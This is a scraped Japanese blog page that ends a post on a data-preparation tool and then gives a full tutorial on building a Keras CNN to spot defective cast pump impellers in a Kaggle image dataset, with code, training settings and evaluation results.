「Tōkyō-to」, 「Hokkaidō」 など都道府県 air_area_name_0 には 「Abashiri-shi」, 「Kurume-shi」 など市区町村が入力されました。 平均値算出 - 「カテゴリ毎の平均値へ変換」フィルタ 各都道府県の平均visitors数を算出してみましょう。 各都道府県ごとの平均訪問者数が算出できました。 その他のフィルタ紹介 欠損補完 このように、いくつかの補完方法が用意されています。 日付フォーマットの変更 外れ値の除去 視覚的に外れ値を確認し、除去することができます。 その他の機能 各列の統計情報のビジュアライズ おわり 小さいデータならエクセルやGoogle Spread Sheetで加工できますが、数MB以上のデータになってくると、開くのも加工するのも、時間がかかってきたり、そもそも開けないといったことが起きてきます。 ある程度ガッツリとデータ加工をしたい場合はPython+Pandasでコードを実装するのもありですが、ちょっとした加工にわざわざコードを実装して実行するのも億劫な場合があったりします。 そんな時にはこのようなお手軽に利用できるプレパレーションツールが重宝されるのではないでしょうか? みなさんもぜひ使ってみてください。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

CNNでの画像分析 -製造業における製品検査-

はじめに 1. 製造業におけるAI導入について 製造業においてよくあるAIの導入例として、良品と不適合品からAIに機械学習をさせ、カメラに自動検知させるというのがあります。 人間による目視で外観検査を行っていた部分を、機械に行わせるというものです。 人件費の削減につながること。また、ヒューマンエラーによる不適合品の見逃し等もなくなり、客先への信頼という観点でのメリットが存在します。 また、自社製品の画像は比較的入手しやすいことから、大量の画像をパターン分析することが可能であり、導入しやすいとも言えます。 しかしながら、導入までのコストの観点から、まだまだ目視による外観検査を行っている会社が多いのが実情です。 日本企業のAIシステム導入について 2. 筆者の経験  私は現在、自動車部品メーカーにて設計開発を行っているのですが、製造ラインの検討時に外観検査上で問題が生じた経験があります。画像測定器による外観検査を行うのですが、組み立ての構造上、人の手による組立てが必ず必要となります。その際、ゴム手袋に付着した素材の粉や油等により、良品までもNGにしてしまうとのことでした。  もちろんコストをかければ人の手を使わず、全自動でできる設備を導入することもできるのですが、実際はそうはいきません。設計段階で諸々協議しながら製品を作れれば良いが、時間の制約により開発が進み、後工程にて問題が生じることはよくあることです。品質がよく、利益がでるように開発するというのは如何に難しいものか日々痛感させられます。  以上のような経験から、機械学習を用いたカメラによる自動検査システムを導入できれば、画像による検査ミスがなくなるのではないかと考えました。 3. 分析データについて 自社データの公開や利用は難しいため、kaggleに挙げられている以下の題材を使用しました。 鋳造で作られた水中ポンプ用インペラ画像の分類となります。 casting product image data for quality inspection データの確認 1. ライブラリのインポート import os import cv2 import random import pandas as pd import numpy as np import matplotlib.pyplot as plt import tensorflow as tf import keras import keras.preprocessing.image as Image import sklearn.metrics from sklearn.metrics import confusion_matrix, ConfusionMatrixDisplay from sklearn.metrics import classification_report from tensorflow.keras.layers import Dense, Dropout, Flatten, Input from tensorflow.keras.models import Model, Sequential from tensorflow.keras import preprocessing, layers, models, callbacks from keras.preprocessing.image import ImageDataGenerator from keras.callbacks import ModelCheckpoint from keras.preprocessing.image import load_img, save_img, img_to_array, array_to_img 2. データ数の確認 分析に使用できる画像は何枚程度あるのか、どういったデータが入っているのかを最初に確認します。画像の枚数が少なすぎると、画像分析へのアプローチ手法が変わってくる可能性がある為です。 #train data数 print("ok_front :", len(os.listdir("./archive/casting_data/casting_data/train/ok_front"))) print("def_front :", len(os.listdir("./archive/casting_data/casting_data/train/def_front")) ) #test data数 print("ok_front :", len(os.listdir("./archive/casting_data/casting_data/test/ok_front"))) print("def_front:", len(os.listdir("./archive/casting_data/casting_data/test/def_front"))) 実行結果 ok_front : 2875 def_front : 3758 ok_front : 262 def_front: 453 本データは、予め訓練データとテストデータに分けられており、それぞれにOK写真とNG写真が分割して入っているようです。 os.listdir でファイル・ディレクトリ内の一覧を取得し、len()でディレクトリ 内のファイル数を数えました。 トレーニングデータが約6500枚、テストデータが約700枚あることが分かります。 3. 画像のチェック img_ok = "./archive/casting_data/casting_data/train/ok_front" lsdir = os.listdir(img_ok) imgs = [] for i in lsdir: target = os.path.join(img_ok, i) img = cv2.imread(target) img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) imgs.append(img) count = 10 plt.figure(figsize=(15, 6)) for i, l in enumerate(random.sample(imgs, count)):#ランダムに複数の要素を選択(重複なし) plt.subplot(2,5, i+1) plt.axis('off') plt.title("img"+str(i)) plt.imshow(l) ディレクトリへのパスと画像の名前をos.path.join()で結合し、OpenCVのimreadで各画像を読み込んでいます。その後、リストに保存した画像からcountで指定した枚数をmatplotlibを用いて表示させるようにしました。 データの分割と正規化について 本頁では、データの分割と正規化について記載します。 1. データを分割とは CNNで学習を行う際、以下のデータセットが必要となります。 訓練データ:実際にニューラルネットワークの重みを更新する学習データ。 検証データ:ニューラルネットワークのパラメータの良し悪しを確かめるためのデータ。 テストデータ:学習後に汎化性能を確かめるテストデータ。 新たに計測した画像に対して学習したモデルがうまく汎化できているかを評価するために、テストデータを用意します。モデルの構築で使用した訓練データは、正確にラベルの判別ができてしまう為テストデータに含めることはできません。そこで、モデルの性能を評価するためにこれまでに見せていないデータ(テストデータ)が必要になります。 また、モデルの過学習を防ぐ為に、訓練データからデータ分離した検証データを用意します。モデルを検証データで予測し、精度を計測する際に用います。 データ分割によく使用される方法ではホールドアウト、クロスバリデーション、ジャックナイフ法などが有名です。 2. データの正規化とは 計算・解析において扱いやすいように、データをある規則に従って整形することを言います。 画像分析においては、学習コストを下げるために[0,1]の範囲に収まるよう255.0で割ることで正規化を行うのが、一般的なようです。 正規化、標準化について 3. ImageDataGenerator kerasのImageDataGeneratorを用いることで、上述したデータ分割や正規化を実装します。 本モジュールは、画像の水増しにもよく使われ、画像の反転、ずらし、複数の加工の組み合わせを行うこともできます。 #ImageDataGeneratorクラスのインスタンスを作成 datagen = Image.ImageDataGenerator( rescale=1/255, validation_split = 0.1 ) #flow_from_directory()でディレクトリへのパスを受け取り、そこから自動でデータを読み取って加工したデータのバッチを生成 train_generator = datagen.flow_from_directory("./archive/casting_data/casting_data/train/", class_mode='binary', batch_size=32, target_size=(300,300), color_mode='grayscale', classes={'ok_front':0, 'def_front':1}, shuffle=True, subset = "training"#はじめに書いたvalidationかtrainのデータかを指定する。 ) val_generator = datagen.flow_from_directory("./archive/casting_data/casting_data/train", class_mode='binary', batch_size=32, target_size=(300,300), color_mode='grayscale', classes={'ok_front':0, 'def_front':1}, shuffle=True, subset = "validation" ) #ImageDataGeneratorクラスのインスタンスを作成(テストデータ用) test_datagen = image.ImageDataGenerator( rescale = 1/255 ) n_test = sum([len(files) for curDir, dirs, files in os.walk("./archive/casting_data/casting_data/test")]) test_generator = test_datagen.flow_from_directory("./archive/casting_data/casting_data/test", class_mode='binary', batch_size=n_test, target_size=(300,300), color_mode='grayscale', classes={'ok_front':0, 'def_front':1}, shuffle = False ) 【ImageDataGeneratorパラメーター】 rescale:読み込まれた各画素のRGB値を0.0〜1.0の間に収まるように正規化。 validation_split:訓練データを9:1の割合で検証用データと分割。 【flow_from_directoryパラメーター】 class_mode:学習に使われる正解ラベルが2値(0か1)の判定になる為、binaryを選択。 batch_size:ミニバッチ学習に使われるバッチのサイズ。一度に読み込むデータの数。 target_size:指定した大きさに自動的にリサイズされて読み込まれる。 color_mode:"grayscale"or"rbg"を設定。チャンネル数が1or3のどちらに変換するか。 classes:分類させたいデータのクラス名。 shuffle=True:データをシャッフルするかどうか(真偽値)。学習に使用するデータに偏りを持たせないために使用。 CNNの実装 CNNは何段もの深い層を持つニューラルネットワークで、以下のように層を複数組み合わせて使用していきます。 今回設定したCNNの構造は以下の通りです。 1. 畳み込み層:入力データの一部分に注目し、その部分画像の特徴を調べる層。 2. プーリング層:畳み込み層の出力を縮約し、データの量を削減する層。 3. Flatten():データを一次元に平滑化。 4. 全結合層:各プーリング層からの出力を指定したノードの数に結合し、活性化関数によって特徴変数を出力。 5. Dropout():出力された結果をランダムに間引く。 6. 出力層:全結合層からの出力を基に、sigmoid関数によって確率に変換しクラス分類。 from tensorflow.keras.layers import Activation, Conv2D, Dense, Flatten, MaxPooling2D from tensorflow.keras.models import Sequential, load_model from tensorflow.keras.utils import to_categorical #モデルの定義 model = Sequential() #畳み込み層+プーリング層 model.add(Conv2D(filters=16,kernel_size=(7,7),strides=(2,2),padding='same',activation='relu',input_shape=(300,300,1))) model.add(MaxPooling2D(pool_size=(2,2),strides=(2,2))) model.add(Conv2D(filters=32,kernel_size=(3,3),activation='relu',padding='same')) model.add(MaxPooling2D(pool_size=(2,2),strides=(2,2))) model.add(Conv2D(filters=64, kernel_size=(3,3), activation="relu", padding="same")) model.add(MaxPooling2D(pool_size = (2,2), strides =(2,2))) model.add(Conv2D(filters=128, kernel_size=(3,3), activation="relu", padding="same")) model.add(MaxPooling2D(pool_size = (2,2), strides =(2,2))) model.add(Conv2D(filters=256, kernel_size=(3,3), activation="relu", padding="same")) model.add(MaxPooling2D(pool_size = (2,2), strides =(2,2))) model.add(Flatten()) model.add(Dense(units=64,activation='relu')) model.add(Dropout(rate=0.2)) model.add(Dense(units=1,activation='sigmoid')) #コンパイル→ニューラルネットワークモデルの生成終了 model.compile(optimizer='adam',loss='binary_crossentropy',metrics=['accuracy'])] #ニューラルネットワークの構造確認 model.summary() #モデルの学習 model.fit_generator(train_generator, validation_data=val_generator, epochs=10) 【パラメーターについて】 ハイパーパラメータの設定値は、分析速度や結果に影響しますのでここの設定は重要です。 filters:生成する特徴マップの数。小さすぎて必要な特徴が抽出できないと精度に影響します。大きすぎると過学習しやすい。 →2の累乗値がとられることが多い。フィルター数が多いほど計算量が増え時間がかかる。 kernel_size:カーネル(畳み込みに使用する重み行列)の大きさ。小さすぎると、ごく小さな特陵も検出できなくなる。大きくしすぎてもよくない。 →あまり意識せず、全て(3,3)に設定した場合、解析時間が長くなりすぎてしまいました。そこで、畳み込み層の一層目のみ(7,7)に設定。 strides:特徴を検出する間隔、つまりカーネルを動かす距離のことを言います。小さいほど細かく抽出する為よい。 →デフォルト設定の(1,1)で解析した際、時間がかかりすぎてしまった為、(2,2)に変更。 padding:畳み込んだときの画像の縮小を抑える為、入力画像の周囲にピクセルを追加。 →デフォルト設定を使用 pool_size:一度にプーリングを適用する領域のサイズ。基本的に(2,2) →デフォルト設定を使用 2.モデルの学習 %%time filepath = "./model/model-{epoch:02d}.h5" # エポックごとにモデルを保存するかチェック checkpoint = ModelCheckpoint ( filepath=filepath, monitor='val_loss', #評価をチェックする対象 verbose=1, save_best_only=True, # 精度が向上した場合のみ保存する。 mode='min', period=1 ) H = model.fit( train_generator, validation_data=val_generator, epochs=20, callbacks=[checkpoint], ) モデル学習する際に、model.fit()のcallbacksにModelCheckpointを指定することで、Epochごとにモデルを監視し保存してくれます。save_best_onlyをTrueにすることで評価対象のVal_lossが向上した場合にのみ、モデルを保存するようにしています。 これにより、適当にEpoch数を決めて過学習となってしまった場合でもVal_lossが最小の時のモデルが保存されているので便利です。 今回はEpoch1,2,3,4,6,10,11,20が保存されていました。 学習自体は21min程度終わっております。 初めての分析だったことから、パラメーターのノウハウや指標がなく、設定値は何度も変更しました。7~8hかけて精度が全く出なかったこともあり、ハイパーパラメーターの設定は大事だと気付かされました。 3. グラフのプロット fig = plt.figure(figsize=(8, 6)) plt.plot(H.history['accuracy'], label='acc', ls='-', marker='o') plt.plot(H.history['val_accuracy'], label='val_acc', ls='-', marker='x') plt.plot(H.history['loss'], label='loss', ls='-', marker='o') plt.plot(H.history['val_loss'], label='val_loss', ls='-', marker='x') plt.title('Model Evaluaton') plt.xlabel('epoch') plt.ylabel('') plt.legend(['acc', 'val_acc', 'loss', 'val_loss']) plt.grid(color='gray', alpha=0.2) ニューラルネットワークの学習では損失関数の値を小さくするように学習が進んでいくため、一般には損失値が小さいほど良いモデルであると考えられます。 グラフより訓練データとテストデータの両方に対してほぼ同等な性能を発揮できていると思われるので、良い感じに学習できていそうです。 検証 1. モデルの検証 テストデータに対する精度を評価していきます。識別指標には以下のようなものがあります。 正解率 (Accuracy) 精度 (Precision) 検出率 (Recall) F値 (f1-score) scikit-learnのclassification_reportを使用することで、簡単に確認できます。 1/1 [==============================] - 3s 3s/step precision recall f1-score support 0 0.98 1.00 0.99 262 1 1.00 0.99 0.99 453 accuracy 0.99 715 macro avg 0.99 0.99 0.99 715 weighted avg 0.99 0.99 0.99 715 2. 混同行列 2クラス分類の評価結果を表現する方法で、最も包括的な方法の一つとして混同行列があります。sklearnのconfusion_matrix関数を使用して、分類の精度を視覚的に確認することができるので、便利です。 from sklearn.metrics import confusion_matrix, ConfusionMatrixDisplay best_model = models.load_model("./cnn_casting_inspection3.hdf5") y_pred_proba = best_model.predict(test_generator, verbose=1) threshold = 0.5 y_pred = y_pred_proba >= threshold cmd = ConfusionMatrixDisplay(confusion, [0,1]) cmd.plot(cmap=plt.cm.Blues) 混同行列の主対角成分の要素 :正確にクラス分類されたサンプルの個数 それ以外の要素       :実際とは違うクラスに分類されたサンプルの個数 結果を確認すると、分類はできていそうですが精度が100%とはいきませんでした。 同様のモデルを使用して何度か学習をやり直したのですが、必ず1~5枚程度は正しく分類できていないため、この構造ではこれが限界値だと思われます。 考察とまとめ 初めてCNNを用いた画像分析を行ってみました。今回使用したデータはきれいに成形されていたことから、複雑な前処理等を行わなくても比較的良い精度で分類を行うことができました。実際はここまできれいに成形された画像ばかりでなく、ノイズが多いものもあると思われるので、精度を出すことが難しくなると思います。 精度が100%に至らなかった原因として、多少なりともぼやけているものや、明るさが暗いものも含まれている為、そこが精度に影響したのではないかと考えています。画像を使って学習させるにも、良質な画像の入手が必要になると思いました。 実際に本システムを運用していくとなると、誤検出によるミスは顧客との大きな信頼損失につながりますので、完全に機械だけに任せるのはまだまだ精度を上げる必要があります。現状だと、精度が100%ではないので、検査員を支援するツールや省力化手法のひとつとしては使用できると思います。 今後は、別の手法で画像を正規化(白色化、標準化)したり、アンセンブルをもちいて解析したり、画像を加工し水増しした場合どうなるのか等を確認してみたいと考えています。 更に精度を上げる手法として、何かございましたらアドバイスをいただければと思います。 最後までご精読ありがとうございました。 画像の引用 Convolutional Neural Networkをゼロから理解する
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む